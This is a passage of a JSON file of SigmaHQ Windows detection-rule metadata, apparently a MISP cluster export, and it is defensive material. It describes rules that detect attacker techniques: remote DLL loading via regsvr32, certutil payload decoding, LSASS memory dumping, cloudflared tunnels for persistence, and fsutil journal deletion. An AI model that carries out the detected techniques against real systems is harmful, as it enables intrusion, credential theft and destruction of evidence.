          "type": "related-to"
        }
      ],
      "uuid": "2cf29f11-e356-4f61-98c0-1bdb9393d6da",
      "value": "Renamed Visual Studio Code Tunnel Execution"
    },
    {
      "description": "Detects when verclsid.exe is used to run COM object via GUID",
      "meta": {
        "author": "Victor Sergeev, oscd.community",
        "creation_date": "2020/10/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_verclsid_runs_com.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5",
          "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/",
          "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_verclsid_runs_com.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d06be4b9-8045-428b-a567-740a26d9db25",
      "value": "Verclsid.exe Runs COM Object"
    },
    {
      "description": "Detects regsvr32 execution to download and install DLLs located remotely where the address is an IP address.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/01/11",
        "falsepositive": [
          "FQDNs that start with a number such as \"7-Zip\""
        ],
        "filename": "proc_creation_win_regsvr32_http_ip_pattern.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/tccontre18/status/1480950986650832903",
          "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/",
          "https://twitter.com/mrd0x/status/1461041276514623491",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_http_ip_pattern.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.010"
        ]
      },
      "related": [
        {
          "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2dd2c217-bf68-437a-b57c-fe9fd01d5de8",
      "value": "Potentially Suspicious Regsvr32 HTTP IP Pattern"
    },
    {
      "description": "Detects the execution of WMIC in order to get a list of firewall and antivirus products",
      "meta": {
        "author": "Michael Haag, Florian Roth (Nextron Systems), juju4, oscd.community",
        "creation_date": "2023/02/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wmic_recon_product_class.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/albertzsigovits/malware-notes/blob/c820c7fea76cf76a861b28ebc77e06100e20ec29/Ransomware/Maze.md",
          "https://www.hybrid-analysis.com/sample/4be06ecd234e2110bd615649fe4a6fa95403979acf889d7e45a78985eb50acf9?environmentId=1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_product_class.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047",
          "car.2016-03-002"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e568650b-5dcd-4658-8f34-ded0b1e13992",
      "value": "Potential Product Class Reconnaissance Via Wmic.EXE"
    },
    {
      "description": "Detects potential arbitrary file download using a Microsoft Office application",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Beyu Denis, oscd.community",
        "creation_date": "2022/05/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_office_arbitrary_cli_download.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Excel/",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Powerpnt/",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_arbitrary_cli_download.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4ae3e30b-b03f-43aa-87e3-b622f4048eed",
      "value": "Potential Arbitrary File Download Using Office Application"
    },
    {
      "description": "Detects suspicious ways to use the \"DumpMinitool.exe\" binary",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/04/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_dumpminitool_susp_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/mrd0x/status/1511489821247684615",
          "https://twitter.com/mrd0x/status/1511415432888131586",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/DumpMinitool/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dumpminitool_susp_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "eb1c4225-1c23-4241-8dd4-051389fde4ce",
      "value": "Suspicious DumpMinitool Execution"
    },
    {
      "description": "This rule detects execution of PowerShell scripts located in the \"C:\\Users\\Public\" folder",
      "meta": {
        "author": "Max Altgelt (Nextron Systems)",
        "creation_date": "2022/04/06",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_powershell_public_folder.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.mandiant.com/resources/evolution-of-fin7",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_public_folder.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fb9d3ff7-7348-46ab-af8c-b55f5fbf39b4",
      "value": "Execution of Powershell Script in Public Folder"
    },
    {
      "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image detection",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali",
        "creation_date": "2022/08/07",
        "falsepositive": [
          "Applications could use this notation occasionally which might generate some false positives. In that case Investigate the parent and child process."
        ],
        "filename": "proc_creation_win_susp_ntfs_short_name_path_use_image.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/frack113/status/1555830623633375232",
          "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN",
          "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_path_use_image.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a96970af-f126-420d-90e1-d37bf25e50e1",
      "value": "Use Short Name Path in Image"
    },
    {
      "description": "Detects suspicious parameters of fsutil (deleting USN journal, configuring it with small size, etc).\nMight be used by ransomwares during the attack (seen by NotPetya and others).\n",
      "meta": {
        "author": "Ecco, E.M. Anhaus, oscd.community",
        "creation_date": "2019/09/26",
        "falsepositive": [
          "Admin activity",
          "Scripts and administrative tools used in the monitored environment"
        ],
        "filename": "proc_creation_win_fsutil_usage.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070/T1070.md",
          "https://github.com/albertzsigovits/malware-notes/blob/558898932c1579ff589290092a2c8febefc3a4c9/Ransomware/Lockbit.md",
          "https://eqllib.readthedocs.io/en/latest/analytics/c91f422a-5214-4b17-8664-c5fcf115c0a2.html",
          "https://blog.cluster25.duskrise.com/2023/05/22/back-in-black-blackbyte-nt",
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_usage.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.impact",
          "attack.t1070",
          "attack.t1485"
        ]
      },
      "related": [
        {
          "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "add64136-62e5-48ea-807e-88638d02df1e",
      "value": "Fsutil Suspicious Invocation"
    },
    {
      "description": "Detects execution of findstr with the \"s\" and \"i\" flags for a \"subfolder\" and \"insensitive\" search respectively. Attackers sometimes leverage this built-in utility to search the system for interesting files or filter through results of commands.\n",
      "meta": {
        "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2020/10/05",
        "falsepositive": [
          "Administrative or software activity"
        ],
        "filename": "proc_creation_win_findstr_subfolder_search.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f",
          "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/",
          "https://lolbas-project.github.io/lolbas/Binaries/Findstr/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_subfolder_search.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218",
          "attack.t1564.004",
          "attack.t1552.001",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "04936b66-3915-43ad-a8e5-809eadfd1141",
      "value": "Insensitive Subfolder Search Via Findstr.EXE"
    },
    {
      "description": "Detects indirect command execution via Program Compatibility Assistant \"pcwrun.exe\" leveraging the follina (CVE-2022-30190) vulnerability",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/13",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_lolbin_pcwrun_follina.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/nas_bench/status/1535663791362519040",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun_follina.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218",
          "attack.execution"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6004abd0-afa4-4557-ba90-49d172e0a299",
      "value": "Execute Pcwrun.EXE To Leverage Follina"
    },
    {
      "description": "Detects execution of the built-in script located in \"C:\\Windows\\System32\\gatherNetworkInfo.vbs\". Which can be used to gather information about the target machine",
      "meta": {
        "author": "blueteamer8699",
        "creation_date": "2022/01/03",
        "falsepositive": [
          "Administrative activity"
        ],
        "filename": "proc_creation_win_lolbin_gather_network_info.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government",
          "https://posts.slayerlabs.com/living-off-the-land/#gathernetworkinfovbs",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_gather_network_info.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.execution",
          "attack.t1615",
          "attack.t1059.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "1b20efbf-8063-4fc3-a07d-b575318a301b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "575dce0c-8139-4e30-9295-1ee75969f7fe",
      "value": "Potential Reconnaissance Activity Via GatherNetworkInfo.VBS"
    },
    {
      "description": "Detects changes to the PowerShell execution policy registry key in order to bypass signing requirements for script execution from the CommandLine",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_registry_set_unsecure_powershell_policy.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/de-de/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.3",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_set_unsecure_powershell_policy.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "cf2e938e-9a3e-4fe8-a347-411642b28a9f",
      "value": "Potential PowerShell Execution Policy Tampering - ProcCreation"
    },
    {
      "description": "Detects the use of a renamed SysInternals Sdelete, which is something an administrator shouldn't do (the renaming)",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/09/06",
        "falsepositive": [
          "System administrator usage"
        ],
        "filename": "proc_creation_win_renamed_sysinternals_sdelete.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sysinternals_sdelete.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1485"
        ]
      },
      "related": [
        {
          "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c1d867fe-8d95-4487-aab4-e53f2d339f90",
      "value": "Renamed Sysinternals Sdelete Execution"
    },
    {
      "description": "Detects shell spawned from Java host process, which could be a sign of exploitation (e.g. log4j exploitation)",
      "meta": {
        "author": "Andreas Hunkeler (@Karneades), Nasreddine Bencherchali",
        "creation_date": "2021/12/17",
        "falsepositive": [
          "Legitimate calls to system binaries",
          "Company specific internal usage"
        ],
        "filename": "proc_creation_win_java_susp_child_process_2.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_java_susp_child_process_2.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.persistence",
          "attack.privilege_escalation"
        ]
      },
      "uuid": "dff1e1cc-d3fd-47c8-bfc2-aeb878a754c0",
      "value": "Shell Process Spawned by Java.EXE"
    },
    {
      "description": "Detects usage of findstr with the \"EVERYONE\" or \"BUILTIN\" keywords. This is seen being used in combination with \"icacls\" to look for misconfigured files or folders permissions",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_findstr_recon_everyone.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_recon_everyone.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1552.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "8d7bd4f5-3a89-4453-9c82-2c8894d5655e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "47e4bab7-c626-47dc-967b-255608c9a920",
      "value": "Permission Misconfiguration Reconnaissance Via Findstr.EXE"
    },
    {
      "description": "Detects execution of the \"cloudflared\" tool to connect back to a tunnel. This was seen used by threat actors to maintain persistence and remote access to compromised networks.",
      "meta": {
        "author": "Janantha Marasinghe, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/17",
        "falsepositive": [
          "Legitimate usage of Cloudflared."
        ],
        "filename": "proc_creation_win_cloudflared_tunnel_run.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.reconinfosec.com/emergence-of-akira-ransomware-group",
          "https://github.com/cloudflare/cloudflared",
          "https://developers.cloudflare.com/cloudflare-one/connections/connect-apps",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cloudflared_tunnel_run.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1102",
          "attack.t1090",
          "attack.t1572"
        ]
      },
      "related": [
        {
          "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9a019ffc-3580-4c9d-8d87-079f7e8d3fd4",
      "value": "Cloudflared Tunnel Execution"
    },
    {
      "description": "Detects the execution of certutil with either the \"decode\" or \"decodehex\" flags to decode base64 or hex encoded files. This can be abused by attackers to decode an encoded payload before execution",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community",
        "creation_date": "2023/02/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_certutil_decode.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil",
          "https://learn.microsoft.com/en-us/archive/blogs/pki/basic-crl-checking-with-certutil",
          "https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/",
          "https://lolbas-project.github.io/lolbas/Binaries/Certutil/",
          "https://twitter.com/JohnLaTwC/status/835149808817991680",
          "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_decode.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cc9cbe82-7bc0-4ef5-bc23-bbfb83947be7",
      "value": "File Decoded From Base64/Hex Via Certutil.EXE"
    },
    {
      "description": "Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE accounts",
      "meta": {
        "author": "Teymur Kheirkhabarov, Roberto Rodriguez (@Cyb3rWard0g), Open Threat Research (OTR)",
        "creation_date": "2019/10/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_child_process_as_system_.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Cyb3rWard0g/status/1453123054243024897",
          "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment",
          "https://github.com/antonioCoco/RogueWinRM",
          "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_child_process_as_system_.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1134.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "590a5f4c-6c8c-4f10-8307-89afe9453a9d",
      "value": "Suspicious Child Process Created as System"
    },
    {
      "description": "Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.",
      "meta": {
        "author": "Austin Songer (@austinsonger), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/23",
        "falsepositive": [
          "Legitimate use of the library for administrative activity"
        ],
        "filename": "proc_creation_win_powershell_aadinternals_cmdlets_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://o365blog.com/aadinternals/",
          "https://github.com/Gerenios/AADInternals",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_aadinternals_cmdlets_execution.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.reconnaissance",
          "attack.discovery",
          "attack.credential_access",
          "attack.impact"
        ]
      },
      "uuid": "c86500e9-a645-4680-98d7-f882c70c1ea3",
      "value": "AADInternals PowerShell Cmdlets Execution - ProccessCreation"
    },
    {
      "description": "Detects potential network sniffing via use of network tools such as \"tshark\", \"windump\".\nNetwork sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\nAn adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2019/10/21",
        "falsepositive": [
          "Legitimate administration activity to troubleshoot network issues"
        ],
        "filename": "proc_creation_win_network_sniffing.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_network_sniffing.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.discovery",
          "attack.t1040"
        ]
      },
      "related": [
        {
          "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ba1f7802-adc7-48b4-9ecb-81e227fddfd5",
      "value": "Potential Network Sniffing Activity Using Network Tools"
    },
    {
      "description": "Detects a tscon.exe start as LOCAL SYSTEM",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2018/03/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_tscon_localsystem.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html",
          "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6",
          "https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tscon_localsystem.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9847f263-4a81-424f-970c-875dab15b79b",
      "value": "Suspicious TSCON Start as SYSTEM"
    },
    {
      "description": "Detects the execution of \"dotnet-dump\" with the \"collect\" flag. The execution could indicate potential process dumping of critical processes such as LSASS",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/03/14",
        "falsepositive": [
          "Process dumping is the expected behavior of the tool. So false positives are expected in legitimate usage. The PID/Process Name of the process being dumped needs to be investigated"
        ],
        "filename": "proc_creation_win_lolbin_dotnet_dump.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/dotnet/core/diagnostics/dotnet-dump#dotnet-dump-collect",
          "https://twitter.com/bohops/status/1635288066909966338",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dotnet_dump.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "53d8d3e1-ca33-4012-adf3-e05a4d652e34",
      "value": "Process Memory Dump Via Dotnet-Dump"
    },
    {
      "description": "Detects an attempt to leverage dnscmd.exe to enumerate the DNS zones of a domain. DNS zones used to host the DNS records for a particular domain.",
      "meta": {
        "author": "@gott_cyber",
        "creation_date": "2022/07/31",
        "falsepositive": [
          "Legitimate administration use"
        ],
        "filename": "proc_creation_win_dnscmd_discovery.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/dns/dns-zones-records",
          "https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/",
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscmd_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.execution",
          "attack.t1543.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b6457d63-d2a2-4e29-859d-4e7affc153d1",
      "value": "Potential Discovery Activity Via Dnscmd.EXE"
    },
    {
      "description": "Detects when a user bypasses Defender by renaming a tool to dump64.exe and placing it in a Visual Studio folder",
      "meta": {
        "author": "Austin Songer @austinsonger, Florian Roth",
        "creation_date": "2021/11/26",
        "falsepositive": [
          "Dump64.exe in other folders than the excluded one"
        ],
        "filename": "proc_creation_win_lolbin_dump64.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/mrd0x/status/1460597833917251595",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dump64.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "129966c9-de17-4334-a123-8b58172e664d",
      "value": "Suspicious Dump64.exe Execution"
    },
    {
      "description": "lolbas Cmdl32 is use to download a payload to evade antivirus",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/11/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_cmdl32.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/",
          "https://twitter.com/SwiftOnSecurity/status/1455897435063074824",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cmdl32.yml"
        ],
        "tags": [
          "attack.execution",
